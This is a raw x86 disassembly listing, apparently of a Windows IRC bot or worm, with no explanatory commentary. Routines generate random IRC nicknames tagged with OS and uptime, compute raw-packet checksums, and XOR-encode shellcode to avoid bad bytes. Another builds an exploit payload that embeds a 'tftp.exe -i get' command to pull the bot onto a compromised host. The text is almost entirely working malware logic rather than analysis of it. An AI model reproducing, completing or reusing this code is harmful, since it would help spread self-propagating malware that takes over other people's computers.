call dword_4C9388
test eax, eax
jnz short loc_40A905
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40A905: ; CODE XREF: sub_40A8E4+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A90C: ; CODE XREF: sub_40A8E4+Dj
retn
sub_40A8E4 endp
; =============== S U B R O U T I N E =======================================
sub_40A90D proc near ; CODE XREF: sub_4017E7+D6p
mov ecx, dword_4C9220
xor eax, eax
test ecx, ecx
jz short locret_40A91B
call ecx
locret_40A91B: ; CODE XREF: sub_40A90D+Aj
retn
sub_40A90D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A91C proc near ; CODE XREF: sub_401AC7:loc_403EE7p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4C9380
mov ecx, eax
sub ecx, edi
jz loc_40A9E2
sub ecx, 32h
jz loc_40A9DB
sub ecx, 48h
jz short loc_40A97C
sub ecx, 6Eh
jz short loc_40A975
loc_40A95E: ; CODE XREF: sub_40A91C+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42D8E4
push eax
call sub_41C006
add esp, 0Ch
jmp short loc_40A9BC
; ---------------------------------------------------------------------------
loc_40A975: ; CODE XREF: sub_40A91C+40j
push offset unk_42D8C0
jmp short loc_40A9AE
; ---------------------------------------------------------------------------
loc_40A97C: ; CODE XREF: sub_40A91C+3Bj
push [ebp+var_8]
call sub_41BC9B
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41BD10
add esp, 10h
cmp esi, edi
jz short loc_40A9A9
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4C9380
cmp eax, edi
jz short loc_40A9E2
jmp short loc_40A95E
; ---------------------------------------------------------------------------
loc_40A9A9: ; CODE XREF: sub_40A91C+79j
push offset unk_42D890
loc_40A9AE: ; CODE XREF: sub_40A91C+5Ej
; sub_40A91C+C4j
lea eax, [ebp+var_88]
push eax
call sub_41C006
pop ecx
pop ecx
loc_40A9BC: ; CODE XREF: sub_40A91C+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_415CEE
pop ecx
loc_40A9CC: ; CODE XREF: sub_40A91C+C8j
; sub_40A91C+DCj
push esi
call sub_41BA31
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A9DB: ; CODE XREF: sub_40A91C+32j
push offset unk_42D860
jmp short loc_40A9AE
; ---------------------------------------------------------------------------
loc_40A9E2: ; CODE XREF: sub_40A91C+29j
; sub_40A91C+89j
cmp [esi], edi
jbe short loc_40A9CC
lea ebx, [esi+4]
loc_40A9E9: ; CODE XREF: sub_40A91C+DAj
push ebx
call dword_4C937C
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A9E9
jmp short loc_40A9CC
sub_40A91C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9FA proc near ; CODE XREF: sub_401AC7+21DAp
; sub_401AC7+2328p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4C92A8
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4C9434
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41C006
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40A9FA endp
; =============== S U B R O U T I N E =======================================
sub_40AA53 proc near ; CODE XREF: sub_41364F+24Cp
; sub_41364F+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AA7C
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AA6F: ; CODE XREF: sub_40AA53+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AA6F
pop edi
jmp short loc_40AA80
; ---------------------------------------------------------------------------
loc_40AA7C: ; CODE XREF: sub_40AA53+Aj
mov edx, [esp+4+arg_0]
loc_40AA80: ; CODE XREF: sub_40AA53+27j
test esi, esi
pop esi
jz short loc_40AA8A
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AA8A: ; CODE XREF: sub_40AA53+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AA53 endp
; =============== S U B R O U T I N E =======================================
sub_40AAA0 proc near ; CODE XREF: sub_40AE77+49p
; DATA XREF: ___:off_42D930o
arg_0 = dword ptr 4
push esi
push edi
call near ptr 26A0729h
nop
push eax
call sub_41C058
call sub_41C062
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+arg_0]
push off_42D9AC[edx*4]
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41C100
xor esi, esi
add esp, 14h
cmp dword_429094, esi
jle short loc_40AB07
loc_40AAE1: ; CODE XREF: sub_40AAA0+65j
call sub_41C062
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B8A0
push 1Ch
push edi
call sub_41C100
add esp, 14h
inc esi
cmp esi, dword_429094
jl short loc_40AAE1
loc_40AB07: ; CODE XREF: sub_40AAA0+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_40AAA0 endp
; ---------------------------------------------------------------------------
dd 0E8905756h, 2295C15h, 153EE850h, 7C8B0001h, 4C71024h
dd 42913824h, 0CCC06800h, 1C6A0042h, 15CEE857h, 0F6330001h
dd 3910C483h, 42909435h, 0E8267E00h, 1151Eh, 59990A6Ah
dd 5752F9F7h, 42B8A068h, 571C6A00h, 115A7E8h, 14C48300h
dd 94353B46h, 7C004290h, 5FC78BDAh
; ---------------------------------------------------------------------------
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AB6A proc near ; CODE XREF: sub_401AC7+6922p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call near ptr 26A0729h
nop
push eax
call sub_41C058
pop ecx
call sub_41C062
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429094
test esi, esi
jle short loc_40ABAD
loc_40AB97: ; CODE XREF: sub_40AB6A+41j
call sub_41C062
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40AB97
loc_40ABAD: ; CODE XREF: sub_40AB6A+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AB6A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call near ptr 26A0729h
nop
push eax
call sub_41C058
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_431604
push eax
push esi
call near ptr 26D0000h
nop
movsx eax, byte_431604
push 41h
pop ecx
push 1
pop edx
loc_40ABF3: ; CODE XREF: ___:0040ABFEj
cmp eax, ecx
jnz short loc_40ABFA
mov [ebp-4], edx
loc_40ABFA: ; CODE XREF: ___:0040ABF5j
inc ecx
cmp ecx, 5Bh
jl short loc_40ABF3
push 61h
pop ecx
loc_40AC03: ; CODE XREF: ___:0040AC0Ej
cmp eax, ecx
jnz short loc_40AC0A
mov [ebp-4], edx
loc_40AC0A: ; CODE XREF: ___:0040AC05j
inc ecx
cmp ecx, 7Bh
jl short loc_40AC03
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41C100
xor esi, esi
add esp, 0Ch
cmp dword_429094, esi
jle short loc_40AC4F
loc_40AC29: ; CODE XREF: ___:0040AC4Dj
call sub_41C062
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B8A0
push 1Ch
push edi
call sub_41C100
add esp, 14h
inc esi
cmp esi, dword_429094
jl short loc_40AC29
loc_40AC4F: ; CODE XREF: ___:0040AC27j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
nop
call near ptr 26A0729h
push eax
call sub_41C058
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
nop
call near ptr 26E0000h
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_431608
push 1Ch
push edi
call sub_41C100
xor esi, esi
add esp, 10h
cmp dword_429094, esi
jle short loc_40ACC4
loc_40AC9E: ; CODE XREF: ___:0040ACC2j
call sub_41C062
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B8A0
push 1Ch
push edi
call sub_41C100
add esp, 14h
inc esi
cmp esi, dword_429094
jl short loc_40AC9E
loc_40ACC4: ; CODE XREF: ___:0040AC9Cj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43B4B8
mov dword ptr [ebp-94h], 94h
nop
call near ptr 26E0636h
nop
call near ptr 26A0729h
push eax
call sub_41C058
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AD4E
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD2E
cmp dword ptr [ebp-84h], 1
jnz short loc_40AD1E
mov esi, offset dword_431630
loc_40AD1E: ; CODE XREF: ___:0040AD17j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AD8A
mov esi, offset dword_43162C
jmp short loc_40AD8A
; ---------------------------------------------------------------------------
loc_40AD2E: ; CODE XREF: ___:0040AD0Ej
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AD3E
mov esi, offset dword_431628
jmp short loc_40AD8A
; ---------------------------------------------------------------------------
loc_40AD3E: ; CODE XREF: ___:0040AD35j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AD85
mov esi, offset dword_431624
jmp short loc_40AD8A
; ---------------------------------------------------------------------------
loc_40AD4E: ; CODE XREF: ___:0040AD05j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AD85
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD67
mov esi, offset dword_431620
jmp short loc_40AD8A
; ---------------------------------------------------------------------------
loc_40AD67: ; CODE XREF: ___:0040AD5Ej
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AD77
mov esi, offset dword_43161C
jmp short loc_40AD8A
; ---------------------------------------------------------------------------
loc_40AD77: ; CODE XREF: ___:0040AD6Ej
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_431618
jz short loc_40AD8A
loc_40AD85: ; CODE XREF: ___:0040AD45j
; ___:0040AD55j
mov esi, offset dword_431614
loc_40AD8A: ; CODE XREF: ___:0040AD25j
; ___:0040AD2Cj ...
mov edi, [ebp+8]
push esi
push offset dword_43160C
push 1Ch
push edi
call sub_41C100
xor esi, esi
add esp, 10h
cmp dword_429094, esi
jle short loc_40ADCE
loc_40ADA8: ; CODE XREF: ___:0040ADCCj
call sub_41C062
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B8A0
push 1Ch
push edi
call sub_41C100
add esp, 14h
inc esi
cmp esi, dword_429094
jl short loc_40ADA8
loc_40ADCE: ; CODE XREF: ___:0040ADA6j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADD4 proc near ; CODE XREF: sub_40AE77+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call near ptr 26A0729h
nop
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40AE23
call dword_4C9310
test eax, eax
mov eax, offset dword_43163C
jnz short loc_40AE0C
mov eax, offset byte_43B4B8
loc_40AE0C: ; CODE XREF: sub_40ADD4+31j
push eax
push esi
push offset dword_431634
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41C100
add esp, 14h
jmp short loc_40AE43
; ---------------------------------------------------------------------------
loc_40AE23: ; CODE XREF: sub_40ADD4+22j
call dword_4C9310
test eax, eax
mov eax, offset dword_43163C
jnz short loc_40AE37
mov eax, offset byte_43B4B8
loc_40AE37: ; CODE XREF: sub_40ADD4+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41C006
pop ecx
pop ecx
loc_40AE43: ; CODE XREF: sub_40ADD4+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41B960
pop ecx
cmp eax, 2
pop esi
jbe short loc_40AE72
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C950
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41BD70
add esp, 18h
loc_40AE72: ; CODE XREF: sub_40ADD4+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40ADD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE77 proc near ; CODE XREF: sub_4017E7+7Fp
; sub_40194F+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42D92C
loc_40AE83: ; CODE XREF: sub_40AE77+3Fj
cmp [ebp+arg_C], 0
jz short loc_40AE9E
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41C7E0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AEA8
; ---------------------------------------------------------------------------
loc_40AE9E: ; CODE XREF: sub_40AE77+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AEA8: ; CODE XREF: sub_40AE77+25j
test eax, eax
jnz short loc_40AEBA
add esi, 14h
inc edi
cmp esi, offset off_42D9B8
jl short loc_40AE83
jmp short loc_40AEC8
; ---------------------------------------------------------------------------
loc_40AEBA: ; CODE XREF: sub_40AE77+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42D930[eax*4]
pop ecx
loc_40AEC8: ; CODE XREF: sub_40AE77+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40AEDB
push [ebp+arg_0]
call sub_40ADD4
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AEDB: ; CODE XREF: sub_40AE77+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AE77 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0B8h
push ebx
push esi
lea eax, [ebp-0B8h]
push edi
push eax
mov edi, offset byte_43B4B8
mov dword ptr [ebp-0B8h], 94h
nop
call near ptr 26E0636h
cmp dword ptr [ebp-0B4h], 4
push 0Ah
pop ebx
jnz short loc_40AF5A
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF3B
cmp dword ptr [ebp-0A8h], 1
jnz short loc_40AF2B
mov edi, offset dword_431630
loc_40AF2B: ; CODE XREF: ___:0040AF24j
cmp dword ptr [ebp-0A8h], 2
jnz short loc_40AF96
mov edi, offset dword_43162C
jmp short loc_40AF96
; ---------------------------------------------------------------------------
loc_40AF3B: ; CODE XREF: ___:0040AF1Bj
cmp [ebp-0B0h], ebx
jnz short loc_40AF4A
mov edi, offset dword_431628
jmp short loc_40AF96
; ---------------------------------------------------------------------------
loc_40AF4A: ; CODE XREF: ___:0040AF41j
cmp dword ptr [ebp-0B0h], 5Ah
jnz short loc_40AF91
mov edi, offset dword_431624
jmp short loc_40AF96
; ---------------------------------------------------------------------------
loc_40AF5A: ; CODE XREF: ___:0040AF12j
cmp dword ptr [ebp-0B4h], 5
jnz short loc_40AF91
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF73
mov edi, offset dword_431620
jmp short loc_40AF96
; ---------------------------------------------------------------------------
loc_40AF73: ; CODE XREF: ___:0040AF6Aj
cmp dword ptr [ebp-0B0h], 1
jnz short loc_40AF83
mov edi, offset dword_43161C
jmp short loc_40AF96
; ---------------------------------------------------------------------------
loc_40AF83: ; CODE XREF: ___:0040AF7Aj
cmp dword ptr [ebp-0B0h], 2
mov edi, offset dword_431694
jz short loc_40AF96
loc_40AF91: ; CODE XREF: ___:0040AF51j
; ___:0040AF61j
mov edi, offset dword_431690
loc_40AF96: ; CODE XREF: ___:0040AF32j
; ___:0040AF39j ...
lea eax, [ebp-0A4h]
push offset word_4C91BC
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40AFB4
mov esi, offset dword_43168C
jmp short loc_40B02F
; ---------------------------------------------------------------------------
loc_40AFB4: ; CODE XREF: ___:0040AFABj
lea eax, [ebp-0A4h]
push offset a1 ; "1"
push eax
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_40AFD2
mov esi, offset sub_431688
jmp short loc_40B02F
; ---------------------------------------------------------------------------
loc_40AFD2: ; CODE XREF: ___:0040AFC9j
lea eax, [ebp-0A4h]
push offset dword_431684
push eax
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_40AFF0
mov esi, offset dword_431680
jmp short loc_40B02F
; ---------------------------------------------------------------------------
loc_40AFF0: ; CODE XREF: ___:0040AFE7j
lea eax, [ebp-0A4h]
push offset dword_43167C
push eax
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_40B00E
mov esi, offset dword_431678
jmp short loc_40B02F
; ---------------------------------------------------------------------------
loc_40B00E: ; CODE XREF: ___:0040B005j
lea eax, [ebp-0A4h]
push offset dword_431674
push eax
call sub_41C080
pop ecx
mov esi, offset dword_431670
test eax, eax
pop ecx
jnz short loc_40B02F
mov esi, offset off_43166C
loc_40B02F: ; CODE XREF: ___:0040AFB2j
; ___:0040AFD0j ...
lea eax, [ebp-0Ch]
or dword ptr [ebp-4], 0FFFFFFFFh
push eax
or dword ptr [ebp-8], 0FFFFFFFFh
or dword ptr [ebp-0Ch], 0FFFFFFFFh
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 0
call sub_41AD74
pop ecx
push eax
call sub_41CA73
mov eax, [ebp-4]
add esp, 14h
cmp eax, ebx
jge short loc_40B079
push eax
push offset a0D ; "0%d"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C100
add esp, 10h
jmp short loc_40B09D
; ---------------------------------------------------------------------------
loc_40B079: ; CODE XREF: ___:0040B062j
cmp eax, 64h
jge short loc_40B08B
lea ecx, [ebp-18h]
push ebx
push ecx
push eax
call sub_426642
jmp short loc_40B09A
; ---------------------------------------------------------------------------
loc_40B08B: ; CODE XREF: ___:0040B07Cj
push offset a99 ; "99"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C100
loc_40B09A: ; CODE XREF: ___:0040B089j
add esp, 0Ch
loc_40B09D: ; CODE XREF: ___:0040B077j
nop
call near ptr 26A0729h
push eax
call sub_41C058
pop ecx
lea eax, [ebp-24h]
push ebx
push eax
push 7
push 800h
nop
call near ptr 26E0000h
lea eax, [ebp-18h]
push eax
push esi
lea eax, [ebp-24h]
push edi
mov edi, [ebp+8]
push eax
push offset aSSSS ; "%s|%s|%s|%s|"
push 1Ch
push edi
call sub_41C100
xor esi, esi
add esp, 1Ch
cmp dword_429094, esi
jle short loc_40B108
loc_40B0E3: ; CODE XREF: ___:0040B106j
call sub_41C062
cdq
mov ecx, ebx
idiv ecx
push edx
push edi
push offset dword_42B8A0
push 1Ch
push edi
call sub_41C100
add esp, 14h
inc esi
cmp esi, dword_429094
jl short loc_40B0E3
loc_40B108: ; CODE XREF: ___:0040B0E1j
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40B10F proc near ; CODE XREF: sub_40B12F+Ap
; sub_40B207+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B960
push [esp+8+arg_4]
mov esi, eax
call sub_41B960
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40B10F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B12F proc near ; CODE XREF: sub_40B21E+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40B10F
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40B14C
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B14C: ; CODE XREF: sub_40B12F+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_41B960
push [ebp+arg_C]
mov esi, eax
call sub_41B960
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_43172C, eax
lea eax, [edi+1]
mov dword_43174D, eax
lea eax, [edi+17h]
mov dword_431745, eax
pop eax
push 74h
sub eax, edi
push offset dword_4316C8
push ebx
mov dword_43175B, eax
call sub_41CAB0
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_41CAB0
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_41CAB0
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_41CAB0
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_41CAB0
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_41CAB0
add esi, edi
push 38h
add esi, ebx
push offset byte_431751
push esi
call sub_41CAB0
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40B12F endp
; =============== S U B R O U T I N E =======================================
sub_40B207 proc near ; CODE XREF: sub_40B21E+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40B10F
push eax
call sub_40B28B
add esp, 0Ch
retn
sub_40B207 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B21E proc near ; CODE XREF: sub_40DCEA+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_40B207
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_40B23E
cmp eax, 0FFFFh
jbe short loc_40B242
loc_40B23E: ; CODE XREF: sub_40B21E+17j
xor eax, eax
jmp short loc_40B287
; ---------------------------------------------------------------------------
loc_40B242: ; CODE XREF: sub_40B21E+1Ej
push esi
push edi
push ebx
call sub_40B10F
add eax, 101h
push eax
call sub_41BC9B
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_40B10F
pop ecx
pop ecx
push eax
push esi
call sub_40B12F
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B2A6
push esi
mov edi, eax
call sub_41BA31
add esp, 24h
mov eax, edi
pop esi
loc_40B287: ; CODE XREF: sub_40B21E+22j
pop edi
pop ebx
pop ebp
retn
sub_40B21E endp
; =============== S U B R O U T I N E =======================================
sub_40B28B proc near ; CODE XREF: sub_40B207+Ep
; sub_40B2A6+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40B294
inc ecx
loc_40B294: ; CODE XREF: sub_40B28B+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40B28B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2A6 proc near ; CODE XREF: sub_40B21E+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_40B2C2
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_40B2C2
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_40B2C2
cmp byte ptr [ebp+arg_C], 0
jnz short loc_40B2C5
loc_40B2C2: ; CODE XREF: sub_40B2A6+8j
; sub_40B2A6+Ej ...
inc [ebp+arg_C]
loc_40B2C5: ; CODE XREF: sub_40B2A6+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_40B2ED
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_40B2E6
cmp al, 0Dh
jz short loc_40B2E6
cmp al, 5Ch
jz short loc_40B2E6
test al, al
jnz short loc_40B2ED
loc_40B2E6: ; CODE XREF: sub_40B2A6+32j
; sub_40B2A6+36j ...
add [ebp+arg_C], 100h
loc_40B2ED: ; CODE XREF: sub_40B2A6+28j
; sub_40B2A6+3Ej
push [ebp+arg_C]
call sub_40B28B
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40B305
cmp eax, 0FFFFh
jbe short loc_40B30C
loc_40B305: ; CODE XREF: sub_40B2A6+56j
xor eax, eax
jmp loc_40B3AA
; ---------------------------------------------------------------------------
loc_40B30C: ; CODE XREF: sub_40B2A6+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4C9448
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_40B33C
loc_40B320: ; CODE XREF: sub_40B2A6+94j
mov al, [edx+edi]
xor al, bl
jz short loc_40B333
cmp al, 0Ah
jz short loc_40B333
cmp al, 0Dh
jz short loc_40B333
cmp al, 5Ch
jnz short loc_40B337
loc_40B333: ; CODE XREF: sub_40B2A6+7Fj
; sub_40B2A6+83j ...
inc bl
xor edx, edx
loc_40B337: ; CODE XREF: sub_40B2A6+8Bj
inc edx
cmp edx, ecx
jb short loc_40B320
loc_40B33C: ; CODE XREF: sub_40B2A6+78j
cmp ecx, esi
mov byte_4C9448, bl
ja short loc_40B368
push 15h
push offset loc_4316B0
push [ebp+arg_0]
mov byte_4316BD, cl
mov byte_4316C1, bl
call sub_41CAB0
add esp, 0Ch
push 15h
jmp short loc_40B389
; ---------------------------------------------------------------------------
loc_40B368: ; CODE XREF: sub_40B2A6+9Ej
push 17h
push offset loc_431698
push [ebp+arg_0]
mov word_4316A6, cx
mov byte_4316AB, bl
call sub_41CAB0
add esp, 0Ch
push 17h
loc_40B389: ; CODE XREF: sub_40B2A6+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40B3A5
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40B397: ; CODE XREF: sub_40B2A6+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40B397
loc_40B3A5: ; CODE XREF: sub_40B2A6+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40B3AA: ; CODE XREF: sub_40B2A6+61j
pop esi
leave
retn
sub_40B2A6 endp
; =============== S U B R O U T I N E =======================================
sub_40B3AD proc near ; CODE XREF: ___:00401596p
; ___:004015D2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43C040
loc_40B3B5: ; CODE XREF: sub_40B3AD+18j
cmp byte ptr [eax], 0
jz short loc_40B3C9
add eax, 234h
inc edi
cmp eax, offset dword_4C9040
jl short loc_40B3B5
jmp short loc_40B414
; ---------------------------------------------------------------------------
loc_40B3C9: ; CODE XREF: sub_40B3AD+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43C040[esi]
push eax
call sub_41BD70
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43C240[esi], eax
and dword_43C244[esi], 0
mov eax, [esp+8+arg_8]
and dword_43C248[esi], 0
mov dword_43C24C[esi], eax
and byte_43C258[esi], 0
pop esi
loc_40B414: ; CODE XREF: sub_40B3AD+1Aj
mov eax, edi
pop edi
retn
sub_40B3AD endp
; ---------------------------------------------------------------------------
dword_40B418 dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh
; DATA XREF: sub_401AC7+292Co
dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh
dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h
dd 0E890006Ah, 22E4B98h, 8B555E5Fh, 0EC81ECh, 56000002h
